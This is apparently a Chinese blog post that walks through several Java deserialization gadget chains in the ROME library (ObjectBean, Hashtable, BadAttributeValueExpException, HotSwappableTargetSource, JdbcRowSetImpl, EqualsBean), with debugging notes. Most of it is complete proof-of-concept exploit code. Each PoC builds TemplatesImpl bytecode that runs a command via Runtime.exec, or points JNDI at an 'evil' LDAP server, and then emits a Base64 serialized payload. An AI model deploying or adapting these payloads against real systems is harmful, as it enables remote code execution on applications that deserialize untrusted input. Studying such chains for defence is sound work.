环境搭建

<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.11</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.28.0-GA</version>
</dependency>
</dependencies>

ObjectBean链

先看看调用栈:

 * TemplatesImpl.getOutputProperties()
* ToStringBean.toString(String)
* ToStringBean.toString()
* EqualsBean.beanHashCode()
* EqualsBean.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)

先给出poc,然后一步步调试分析

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.*; import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map; public class Main {
public static ByteArrayOutputStream unSer(Map hashMap) throws IOException, ClassNotFoundException {
// 序列化
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(hashMap);
// 反序列化
ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
ois.close();
return bos;
}
public static void Base64Encode(ByteArrayOutputStream bos){
byte[] bytes = Base64.getEncoder().encode(bos.toByteArray());
String s = new String(bytes);
System.out.println(s);
System.out.println(s.length());
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
}
public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ct = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ct.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
ct.setName(randomClassName);
ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[][] bytes = new byte[][]{ct.toBytecode()};
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", bytes);
setFieldValue(templatesImpl, "_name", "a");
setFieldValue(templatesImpl, "_tfactory", null);
ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);
ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
Map hashMap = new HashMap();
hashMap.put(objectBean, "x");
setFieldValue(objectBean, "_cloneableBean",null);
setFieldValue(objectBean,"_toStringBean", null);
ByteArrayOutputStream bos = unSer(hashMap);
Base64Encode(bos);
}
}

在readObject处打个断点开始调试



进入HashMap的readObject



跟进hash方法



跟进hashCode方法



来到ObjectBean的hashCode方法,_equalsBean是EqualsBean的实例对象,跟进它的beanHashCode方法



_obj是ToStringBean的实例对象,跟进它的toString方法



进入另一个有参方法toString



this._beanclassjavax.xml.transform.Templates,将它的名字传入了getPropertyDescriptors,跟进



这里就很怪了,看其它博主的调试文章说是像是fastjson的任意get,set方法调用,在hashMap进行put时会进入getPDs方法,但我经过实际调试确是没法进入这个方法,我跟进的是进入invoke,_obj是我们的TemplatesImpl的实例对象

进入invoke后,往后会调用到NativeMethodAccessorImpl的invoke方法,这里的method是Templates的getOutputProperties方法,var1是我们的TemplatesImpl对象



进入invoke0,就会调用TemplatesImpl的getOutputProperties方法,但是为什么不会弹计算器,这是一个谜,到反序列化的时候,追踪到调用toString的时候才会触发,有师傅知道为什么,麻烦在评论区告诉一下wuwuwu

HashTable链

这条链子实际上就是在HashMap被ban的情况下进行反序列化,因为最终目的始终都是调用hashcode函数,而HashTbale中刚好调用了hashcode,因此仍然可以触发整套流程

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.*; import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map; public class HashTable {
public static ByteArrayOutputStream unSer(Map hashMap) throws IOException, ClassNotFoundException {
// 序列化
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(hashMap);
// 反序列化
ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
ois.close();
return bos;
}
public static void Base64Encode(ByteArrayOutputStream bos){
byte[] bytes = Base64.getEncoder().encode(bos.toByteArray());
String s = new String(bytes);
System.out.println(s);
System.out.println(s.length());
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
}
public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ct = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ct.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
ct.setName(randomClassName);
ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[][] bytes = new byte[][]{ct.toBytecode()};
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", bytes);
setFieldValue(templatesImpl, "_name", "a");
setFieldValue(templatesImpl, "_tfactory", null);
ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);
ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
Map hashTable = new Hashtable();
hashTable.put(objectBean, "x");
setFieldValue(objectBean, "_cloneableBean",null);
setFieldValue(objectBean,"_toStringBean", null);
ByteArrayOutputStream bos = unSer(hashTable);
Base64Encode(bos);
}
}

链子流程跟上一个一样

BadAttributeValueExpException链

这个类在CC链中我们是拿来触发toString的,他的readObject方法中有toString,因此可以直接连着Rmoe链的ToStringBean,这样也是可以触发的

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.*; import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Hashtable;
import java.util.Map; public class BadAVEE {
public static ByteArrayOutputStream unSer(Object obj) throws IOException, ClassNotFoundException {
// 序列化
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(obj);
// 反序列化
ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
ois.close();
return bos;
}
public static void Base64Encode(ByteArrayOutputStream bos){
byte[] bytes = Base64.getEncoder().encode(bos.toByteArray());
String s = new String(bytes);
System.out.println(s);
System.out.println(s.length());
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
}
public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ct = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ct.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
ct.setName(randomClassName);
ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[][] bytes = new byte[][]{ct.toBytecode()};
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", bytes);
setFieldValue(templatesImpl, "_name", "a");
setFieldValue(templatesImpl, "_tfactory", null);
ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
setFieldValue(badAttributeValueExpException, "val", toStringBean);
ByteArrayOutputStream bos = unSer(badAttributeValueExpException);
Base64Encode(bos);
}
}

因为不需要hashCode了,所以hashMap和objectbean也就不需要了,直接上ToStringBean,调试流程就不写了,因为没啥太大改动

HotSwappableTargetSource链

这个类有equals方法,可以触发Xstring的toString,那么也就可以接上Rome的后半段,这里注意加个org.springframework.aop.target.HotSwappableTargetSource的依赖

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.*;
import org.springframework.aop.target.HotSwappableTargetSource;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map; public class HotSwapp {
public static ByteArrayOutputStream unSer(Object obj) throws IOException, ClassNotFoundException {
// 序列化
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(obj);
// 反序列化
ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
ois.close();
return bos;
}
public static void Base64Encode(ByteArrayOutputStream bos){
byte[] bytes = Base64.getEncoder().encode(bos.toByteArray());
String s = new String(bytes);
System.out.println(s);
System.out.println(s.length());
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
}
public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ct = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ct.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
ct.setName(randomClassName);
ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[][] bytes = new byte[][]{ct.toBytecode()};
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", bytes);
setFieldValue(templatesImpl, "_name", "a");
setFieldValue(templatesImpl, "_tfactory", null);
ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);
HotSwappableTargetSource h1 = new HotSwappableTargetSource(new XString("123"));
HotSwappableTargetSource h2 = new HotSwappableTargetSource(toStringBean);
HashMap<Object, Object> hashMap = new HashMap();
hashMap.put(h2, h2);
hashMap.put(h1, h1);
ByteArrayOutputStream bos = unSer(hashMap);
Base64Encode(bos);
}
}

HashMap中的putval会调用equals方法,触发HotSwappableTargetSource的equals方法



左边的target是put进去的h1,右边的target是put进去的h2,这样就会调用XString的equals方法,触发toStringBean的toString方法,链子闭合

JdbcRowSetImpl链

这个类的入口点是在一个get方法上JdbcRowSetImpl.getDatabaseMetaData(),而rome链中又可以调用任意get方法,那其实也就和TempaltesImpl链思路是一样的,只是在不能使用TempaltesImpl时可以进行替换,这个类在Fastjson中很常见,用于JDNI注入,那么这样也是一样的进行JNDI注入,所以得注意jdk版本,不能高于jdk191,启动一个恶意LDAP服务

package org.example;

import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.*; import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.util.Base64;
import java.util.HashMap; public class Jdbc {
public static ByteArrayOutputStream unSer(Object obj) throws IOException, ClassNotFoundException {
// 序列化
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(obj);
// 反序列化
ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
ois.close();
return bos;
}
public static void Base64Encode(ByteArrayOutputStream bos){
byte[] bytes = Base64.getEncoder().encode(bos.toByteArray());
String s = new String(bytes);
System.out.println(s);
System.out.println(s.length());
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
}
public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, SQLException {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "ldap://127.0.0.1:1099/evil";
jdbcRowSet.setDataSourceName(url);
ToStringBean toStringBean=new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
EqualsBean equalsBean=new EqualsBean(ToStringBean.class,toStringBean);
HashMap<Object, Object> map = new HashMap<>();
map.put(equalsBean,"xxxxx");
ByteArrayOutputStream bos = unSer(map);
Base64Encode(bos);
}
}

EqualsBean链

通过HashSet来触发EqualsBean的equals,调用到getter,任意get方法调用触发TemplatesImpl

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor; import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.*; /**
* Hello world!
*
*/
public class App
{
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
public static void main( String[] args )
{
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("i");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
byte[] bytes = ctClass.toBytecode(); TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "a");
setFieldValue(templatesImpl, "_tfactory", null);
EqualsBean bean = new EqualsBean(String.class, "s"); HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy", bean);
map1.put("zZ", templatesImpl);
map2.put("zZ", bean);
map2.put("yy", templatesImpl);
HashSet table = new HashSet();
table.add(map1);
table.add(map2);
//table.put(map1, "1");
//table.put(map2, "2");
setFieldValue(bean, "_beanClass", Templates.class);
setFieldValue(bean, "_obj", templatesImpl);
unSerial(table);
} catch (Exception e) {
e.printStackTrace();
}
}
private static ByteArrayOutputStream unSerial(Object hashMap) throws Exception{
ByteArrayOutputStream bs = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bs);
out.writeObject(hashMap);
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bs.toByteArray()));
in.readObject();
in.close();
return bs;
}
private static void Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
}
}

Rome反序列化链分析的更多相关文章

  1. PHP反序列化链分析

    前言 基本的魔术方法和反序列化漏洞原理这里就不展开了. 给出一些魔术方法的触发条件: __construct()当一个对象创建(new)时被调用,但在unserialize()时是不会自动调用的 __ ...

  2. [Java反序列化]jdk原生链分析

    jdk原生链分析 原文链接 作为jdk中目前发现的原生链,还是有必要要分析这个用法的.全文仅限尽可能还原挖掘思路 JDK7u21 在很多链中,TemplatesImpl一直发挥着不可或缺的作用,它是位 ...

  3. CommonsCollections2 反序列化利用链分析

    在 ysoserial中 commons-collections2 是用的 PriorityQueue reaObject 作为反序列化的入口 那么就来看一下 java.util.PriorityQu ...

  4. CommonsCollections1 反序列化利用链分析

    InvokerTransformer 首先来看 commons-collections-3.1-sources.jar!\org\apache\commons\collections\functors ...

  5. CommonsCollections3 反序列化利用链分析

    InstantiateTransformer commons-collections 3.1 中有 InstantiateTransformer 这么一个类,这个类也实现了 Transformer的t ...

  6. 【CVE-2020-1948】Apache Dubbo Provider反序列化漏洞复现

    一.实验简介 实验所属系列: 系统安全 实验对象:本科/专科信息安全专业 相关课程及专业: 计算机网络 实验时数(学分):2 学时 实验类别: 实践实验类 二.实验目的 Apache Dubbo是一款 ...

  7. ThinkPHP v5.1.x POP 链分析

    环境:MacOS 10.13 MAMAP Prophp 7.0.33 + xdebugVisual Studio Code前言我所理解的 POP Chain:利用魔术方法并巧妙构造特殊属性调用一系列函 ...

  8. ActiveMQ反序列化(CVE-2015-5254) && ActiveMQ任意文件写入 (CVE-2016-3088)

    ActiveMQ 反序列化漏洞(CVE-2015-5254) 漏洞详情 ActiveMQ启动后,将监听61616和8161两个端口,其中消息在61616这个端口进行传递,使用ActiveMQ这个中间件 ...

  9. ThinkPHP v6.0.x 反序列化漏洞利用

    前言: 上次做了成信大的安询杯第二届CTF比赛,遇到一个tp6的题,给了源码,目的是让通过pop链审计出反序列化漏洞. 这里总结一下tp6的反序列化漏洞的利用. 0x01环境搭建 现在tp新版本的官网 ...

  10. java反序列化-ysoserial-调试分析总结篇(2)

    前言: 这篇主要分析commonCollections2,调用链如下图所示: 调用链分析: 分析环境:jdk1.8.0 反序列化的入口点为src.zip!/java/util/PriorityQueu ...

随机推荐

  1. kafka节点故障恢复原理

    Kafka的LEO和HW LEO LEO是Topic每一个副本的最后的偏移量offset+1 HW(高水位线) High WaterMark是所有副本中,最小的LEO Follower副本所在节点宕机 ...

  2. XAF新手入门 - XAF设计模式探讨

    前言 刚接触XAF的小伙伴可能会有一个疑惑,XAF中有Model(BusinessObject).View.Controller,感觉明显是一个MVC的设计模式,但当你用MVC的设计模式与其对应时,又 ...

  3. gyroflow.xyz - 视频防抖 支持相机 gopro 不支持手机视频 - 软件推荐

    gyroflow.xyz - 视频防抖 支持相机 gopro 不支持手机视频 - 软件推荐 https://gyroflow.xyz/ https://github.com/gyroflow/gyro ...

  4. 手爱图仕Aputure MC RGB摄影补光灯体验测评

    前记  作为一个智能硬件设备狂兼智能硬件方案提供商,工作就是和各种智能硬件打交道.最近无意入手了一个爱图仕Aputure MC RGB摄影补光灯.顺便体验了几天,既然体验了,肯定要写一个体验结果的.这 ...

  5. 3DCAT首届行业生态交流会|燧光CTO 戴景文:云渲染 XR大发展的助推器

    2021年12月17日下午,由深圳市瑞云科技有限公司主办,深圳市虚拟现实产业联合会协办的 云XR如何赋能元宇宙--3DCAT实时云渲染首届行业生态合作交流会 圆满落幕.此次活动围绕"云XR如 ...

  6. Avalonia 11.1.0-beta1 发布

    11.1.0-beta1 Avalonia 是 dotnet 的跨平台 UI 框架,提供灵活的样式系统,支持 Windows.macOS.Linux.iOS.Android 和 WebAssembly ...

  7. View之Canvas,Paint,Matrix,RectF等介绍

    目录介绍 1.Paint画笔介绍 1.1 图形绘制 1.2 文本绘制 2.Canvas画布介绍 2.1 设置属性 2.2 画图[重点] 2.3 Canvas对象的获取方式 2.4 Canvas的作用 ...

  8. 记录--纯CSS实现一个简单又不失优雅的步骤条

    这里给大家分享我在网上总结出来的一些知识,希望对大家有所帮助 步骤条是一种用于引导用户按照特定流程完成任务的导航条,在各种分步表单交互场景中广泛应用.先来看一下几个主流前端 UI 框架中步骤条组件的样 ...

  9. 记录转载:uni-app 请求 uni.request封装使用

    这里给大家分享我在网上总结出来的一些知识,希望对大家有所帮助 对uni.request的一些共同参数进行简单的封装,减少重复性数据请求代码.方便全局调用. 先在目录下创建 utils 和 common ...

  10. 记录--uni-app实现京东canvas拍照识图功能

    这里给大家分享我在网上总结出来的一些知识,希望对大家有所帮助 最近公司出了一个新的功能模块(如下图),大提上可以描述为实现拍照完上传图片,拖动四方框拍照完成上传功能,大体样子如下图.但是我找遍了 dc ...